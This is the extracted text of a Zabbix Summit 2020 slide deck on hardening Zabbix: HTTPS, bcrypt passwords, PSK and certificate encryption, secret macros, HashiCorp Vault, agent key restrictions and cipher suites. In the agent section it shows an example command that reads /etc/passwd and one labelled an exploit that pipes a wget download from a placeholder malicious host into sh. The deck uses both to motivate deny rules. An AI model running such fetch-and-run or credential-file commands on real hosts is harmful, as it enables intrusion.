KEEP ALL SECRETSENCRYPTED & SECURE
Kaspars Mednis
Chief trainer

Aleksandrs Petrovs-Gavrilovs
Security expert

01
INTRODUCTION

Zabbix configuration contains credentials used to access other systems
Collected data may contain sensitive information
Remote commands can be executed by Zabbix

To be secure means to “avoid being harmed by any risk, danger, or threat.”

This may relate to anything, your environment, data, or anything that should beprotected from any risks possible.

ZABBIX SUMMIT ONLINE / 2020

WHY ZABBIX NEEDS TO BE SECURE ?

EVOLUTION OF SECURITY
ZABBIX 2.0
ZabbixWeb interface
Userpermissions

ZabbixAgentsHTTPS

MD5 userpasswords
Zabbix
Database

Zabbix
Proxies

ZABBIX SUMMIT ONLINE / 2020

Commandline
utilities

EVOLUTION OF SECURITY
ZABBIX 3.0
ZabbixWeb interface
Userpermissions

ZabbixAgentsHTTPS

MD5 userpasswords
Zabbix
Database

Zabbix
Proxies

ZABBIX SUMMIT ONLINE / 2020

Commandline
utilities

EVOLUTION OF SECURITY
ZABBIX 5.0
ZabbixWeb interface
Userpermissions

Agent key restrictions

ZabbixAgents

HTTPS

bcrypt user
passwords
Zabbix
Database

Zabbix
Proxies

ZABBIX SUMMIT ONLINE / 2020

Commandline
utilities

Commandline
utilities

ZABBIX 5.2
ZabbixWeb interface
Granularpermissions

Agent key restrictions

ZabbixAgents

HTTPS

bcrypt userpasswords
Zabbix
Database

Zabbix
Proxies

ZABBIX SUMMIT ONLINE / 2020

EVOLUTION OF SECURITY

HashiCorp
Vault

02
ZABBIX FRONTEND

Zabbix frontend is accessed using insecure communication channels
Sensitive information may be intercepted
All other security configuration is under risk
user=Admin
pass=qazswe

ZabbixWeb interface

HTTP

ZABBIX SUMMIT ONLINE / 2020

INSECURE WEB CONNECTIONSServer has both public and private keys
Server sends public key to web browser, which uses it for encryption
Only server has private key to decrypt the information

Additionally, the identity of web server can be verified

ZABBIX SUMMIT ONLINE / 2020

HOW HTTPS PROTECTS YOU ?

Traffic is encrypted using HTTPS protocol
Information still may be intercepted, but it is unreadable
First step before setting up other security methods!?!?!?!?!

ZabbixWeb interfaceHTTPS

ZABBIX SUMMIT ONLINE / 2020

SECURE WEB CONNECTIONS03
ZABBIX USERS

Zabbix security is based on user types•Zabbix Super Admin
unlimited access•

Zabbix Admin
can create hosts / templates•Zabbix User
can create maps / dashboards
can see collected data

ZABBIX SUMMIT ONLINE / 2020

ZABBIX USER TYPESZABBIX SUMMIT ONLINE / 2020

ZABBIX USER GROUPS
Zabbix permissions are host group and user group based

RW

Host group A

FULL

RWAdmins

ROFULL

Host group B

FULL

RWAdmins

RO

Host group CROUsers

Host group DFULLSuperAdmin

Default Admin username and password must be changed
Passwords are stored using bcrypt algorithm•uses unique salt value to protect against rainbow table attacks•more resistant to brute-force, not feasible for hardware acceleration

If Zabbix is upgraded, password rehashes automatically to use bcrypt•on password change or on first login

check hashrehash if needed

ZABBIX SUMMIT ONLINE / 2020

USERNAME AND PASSWORD

External authentication can be used to manage users
Different authentication methods can be mixedLDAP

ZABBIX SUMMIT ONLINE / 2020

EXTERNAL AUTHENTICATION

04
INTERNAL
COMMUNICATIONSZABBIX SUMMIT ONLINE / 2020

BUILT-IN ENCRYPTION
Protects communication between Zabbix components• Zabbix Server and Zabbix ProxyCommandlineutilities• Zabbix Server/Proxy and Zabbix agent• Zabbix commandline utilities

zabbix_senderzabbix_get

ZabbixAgentZabbix
ServerZabbix
ProxyZabbix
AgentZabbix built-in encryption supports• Certificates• Pre-shared keys (PSK)

For incoming connections multiple types can be specified at once

If encryption is used, the configuration tab is highlighted

ZABBIX SUMMIT ONLINE / 2020

ENCRYPTION TYPES

Certificates
Asymmetric encryption
Provides identity authentication

Certificate revocation lists (CRL) can be used
Can be restricted by specifying Issuer and Subject
PSK
Symmetric encryption
Easier to set-up

ZABBIX SUMMIT ONLINE / 2020

CERTIFICATES OR PSK ?

Bigger keys offer stronger encryption but require more CPU power• RSA 2048 keys are current industry standard and considered "unbreakable"• As of 2020 the largest RSA key publicly known to be cracked is RSA-250

A simple openssl speed test may show estimated performance# openssl speed rsa512 rsa1024 rsa2048
signrsa 512 bits 0.000058srsa 1024 bits 0.000110s
rsa 2048 bits 0.000897s

verify0.000003s
0.000008s
0.000023s

sign/s verify/s
17370.6 306825.6
9055.7 130117.0
1114.4 44439.9

ZABBIX SUMMIT ONLINE / 2020

ENCRYPTION KEY SIZE

Connections may use different methods

Commandline
utilities

based on requirements
Protected connections may be left
unencrypted
unencryptedpsk

Local Network

unencrypted
ZabbixAgent

psk

certificatesZabbixServerZabbix
ProxyZabbix
Agent

ZABBIX SUMMIT ONLINE / 2020

DIFFERENT ENCRYPTION METHODS CAN BE USEDZABBIX SUMMIT ONLINE / 2020

SECURE AUTOREGISTRATION
Zabbix 5.0 introduced secure active agent auto-registration option
The PSK key is defined in Zabbix administrative section and hidden
The initial autoregistration attempt is already encrypted

If autoregistration is done through proxy, protect proxy communication

psk
Zabbix
Agent

psk

encrypted

ZabbixServerZabbix
ProxyZabbix
Agent

May put environment at risk
While communication is secured, unencrypted is also allowed# ### Option: TLSAccept# What incoming connections to accept.
# Multiple values can be specified, separated by comma:
TLSAccept=unencrypted,psk

ZABBIX SUMMIT ONLINE / 2020

ALLOWING ENCRYPTED AND UNENCRYPTEDStarting from version 5.0 Zabbix DB connection can be encrypted
Certificates are used for securing the connection
Supported for following DB engines• MySQL• PostgreSQL

TLS

Zabbix server

TLS

Database

Zabbix frontend

ZABBIX SUMMIT ONLINE / 2020

ZABBIX DATABASE CONNECTION

### Option: DBTLSConnect#Setting this option enforces to use TLS connection to database.
#required- connect using TLS#verify_ca- connect using TLS and verify certificate#verify_full - also verify that database identity matches certificate

Verify DB identity
Verify CATLS
Zabbix server

Database

ZABBIX SUMMIT ONLINE / 2020

SERVER CONFIGURATION FILE

05
SECRET USER
MACROS

User macro content can be seen by Admin user with access to the host

Hmm....

ZABBIX SUMMIT ONLINE / 2020

UNSAFE USER MACROSGlobal and template macros can also be seen

Wow !!!

ZABBIX SUMMIT ONLINE / 2020

UNSAFE GLOBAL USER MACROS

Zabbix 5.0 offers new feature - secret macros
Value of the secret macro will be never displayed•

It is not used on test forms•

It is not cloned together with Host / Template

ZABBIX SUMMIT ONLINE / 2020

SECRET MACROSSecret macros are still stored into database tables
Database connection must be secured
Database backup can be stolen
SELECT * FROM ....

{$MACROS}

TLS
Database

ZABBIX SUMMIT ONLINE / 2020

SECRET MACRO VULNERABILITIESHashiCorp vault can be used as storage for secrets
A secure token is used to access the vault
Connection to vault must be secured with TLS

ZabbixServerVaultZABBIX SUMMIT ONLINE / 2020

EXTERNAL VAULTVault is a tool for securely accessing secrets, such as passwords
Vault provides a unified interface to any secret, while providing tightaccess control and recording a detailed audit log
Initially vault is sealed and must be unsealed using unseal keys

ZABBIX SUMMIT ONLINE / 2020

WHAT IS A VAULT ?

Once the vault is unsealed, Zabbix uses access token to authenticate
The values of secrets are retrieved on every Zabbix configuration updateSecrets are stored in Zabbix configuration cacheIt is possible to refresh values using a 'secrets_reload' command
TokenZabbix
ServerStored secrets

ZABBIX SUMMIT ONLINE / 2020

HOW ZABBIX ACCESSES THE VAULT ?

Zabbix Server has new configuration options### Option: VaultToken#Vault authentication token that should have been generated#exclusively for Zabbix server with read only permission
VaultToken=s.4LYyfMekAlZafHwQj15WkTmP### Option: VaultURL#Vault server HTTP[S] URL. System-wide CA certificates directory#will be used if SSLCALocation is not specified.
VaultURL=https://vault:8200### Option: VaultDBPath#Vault path from where credentials for database will be retrieved#by keys 'password' and 'username'.
#VaultDBPath=secret/zabbix/database

ZABBIX SUMMIT ONLINE / 2020

STORING THE VAULT CONFIGURATION

Vault parameters are still stored in plain text in configuration file
Configuration files must be protected from other OS users### Option: VaultToken
VaultToken=LYyfMekAlZafHwQj15WkTmP

zabbix_server.confversus### Option: DBPassword
DBPassword=P455w0RD

ZABBIX SUMMIT ONLINE / 2020

STORING TOKEN SECURELY

Token can be set as a "VAULT_TOKEN" environment variable
In such setup Vault token is not defined in Zabbix configuration files
Environment variable will be unset on Zabbix server start
export VAULT_TOKEN=LYyfMekAlZafHwQj15WkTmP

ZABBIX SUMMIT ONLINE / 2020

STORING TOKEN SECURELYA secret must be first defined in Vault
In Zabbix reference path to vault secret is specified as a macro value

It is not possible to see the value of Vault secret from Zabbix frontendZABBIX SUMMIT ONLINE / 2020

SPECIFYING THE VAULT MACROS

06
AGENT KEY
RESTRICTIONS

Zabbix can collect sensitive information from•

Configuration files•Log files•

Password files

What we have here...

#zabbix_get -s my.prod.host -k vfs.file.contents[/etc/passwd]

root:x:0:0:root:/root:/bin/bash
adm:x:3:4:adm:/var/adm:/sbin/nologin
noob123:x:2:2:adm:/home/noob123:/bin/bash
zabbix:x:993:990:Zabbix:/var/lib/zabbix:/sbin/nologin

ZABBIX SUMMIT ONLINE / 2020

WHY WE NEED KEY RESTRICTIONS ?

Zabbix agent can execute remote commands on remote hosts
They are disabled by default
On Windows, Zabbix agent runs as Local System by default !

Let's try this exploit...

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]ZABBIX SUMMIT ONLINE / 2020

REMOTE COMMANDS CAN BE DANGEROUS

Zabbix 5.0 introduced allow / deny keys
Wildcard (*) patterns can be used in both key name and parameters
AllowKey=system.run[ipcs -l]
DenyKey=vfs.file.*[*]

If key is denied, item is reported as unsupported
Filecontents...
?????????

ZABBIX SUMMIT ONLINE / 2020

RESTRICTING AGENT KEYS

Rules are checked in the order in which they have been specified
As soon as an item key matches a rule it is either allowed or denied
DenyKey=vfs.file.*[*]
AllowKey=vfs.file.*[/var/log/myapp/*]
AllowKey=vfs.file.*[/var/log/mydb/*]

If "DenyKey=*" is specified first in the list, no other rules take effect
AllowKey=vfs.file.*[/var/log/myapp/*]
AllowKey=vfs.file.*[/var/log/mydb/*]
DenyKey=vfs.file.*[*]ZABBIX SUMMIT ONLINE / 2020

KEY ORDER

07
CUSTOMCIPHER SUITESA cipher suite is a set of algorithms that help secure a network connectionthat uses TLS•

Key exchange algorithm (DH, ECDH, DHE, ECDHE, PSK)•

Authentication algorithm (RSA, ECDSA, DSA)

•Encryption algorithm (AES, RC4, CHACHA20, ARIA)•

Message hashing (SHA-1, SHA-256, POLY1305)

ZABBIX SUMMIT ONLINE / 2020

WHAT IS A CIPHER SUITEA cipher suite is a set of algorithms that help secure a network connectionthat uses TLS•Key exchange algorithm (DH, ECDH, DHE, ECDHE, PSK)

•Authentication algorithm (RSA, ECDSA, DSA)

•Encryption algorithm (AES, RC4, CHACHA20, ARIA)•Message hashing (SHA-1, SHA-256, POLY1305)

If the version of encryption or authentication algorithm in a cipher suite
have known vulnerabilities the TLS connection is then vulnerable

ZABBIX SUMMIT ONLINE / 2020

WHAT IS A CIPHER SUITEECDHE - RSA - AES256 - SHA384
Key exchangeAuthentication

EncryptionHashing

ZABBIX SUMMIT ONLINE / 2020

HOW CIPHER SUITE LOOKSFor HTTPS protocol custom ciphers can be definedZabbix 5.2 offers possibility to use custom cipher suites for encryption•

Between Zabbix Server and Zabbix Proxy•

Between Zabbix Server and Zabbix Agent•

In command-line utilities•

Between Zabbix Server and Database•

Between Zabbix Frontend and Database

ZABBIX SUMMIT ONLINE / 2020

ZABBIX AND CIPHER SUITESThe most advanced cipher suites are most secure
Old systems may not support latest cipher suites
The cipher suite must be known to both sides

AdvancedStrong

TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
TLS_AES_128_GCM_SHA256
TLS_AES_128_CCM_8_SHA256
TLS_AES_128_CCM_SHA256

WeakLegacy

TLS_CHACHA20_POLY1305_SHA256
TLS_AES_128_GCM_SHA256
DHE-RSA-AES128-GCM-SHA256
ECDHE-RSA-AES128-GCM-SHA256
DHE-RSA-AES128-SHA256ZABBIX SUMMIT ONLINE / 2020

WHICH CIPHER SUITE TO CHOOSE ?

08
DO IT IN A PROPER WAY

Zabbix
Web interface

ZABBIX SUMMIT ONLINE / 2020

HashiCorp
Vault

Agent key restrictions

ZabbixAgentsHTTPSAgent key restrictions

ZabbixAgentsZabbix
Database

Zabbix
Proxies

Recommended for experienced Zabbix users
Does not require existing Zabbix certification
Will cover security options on an expert level• Secret macros and Vault• Securing connections using psk or certificates• Restricting agent keys

• Granular user permissions

ZABBIX SUMMIT ONLINE / 2020

SECURITY TRAINING COURSE

Thank You!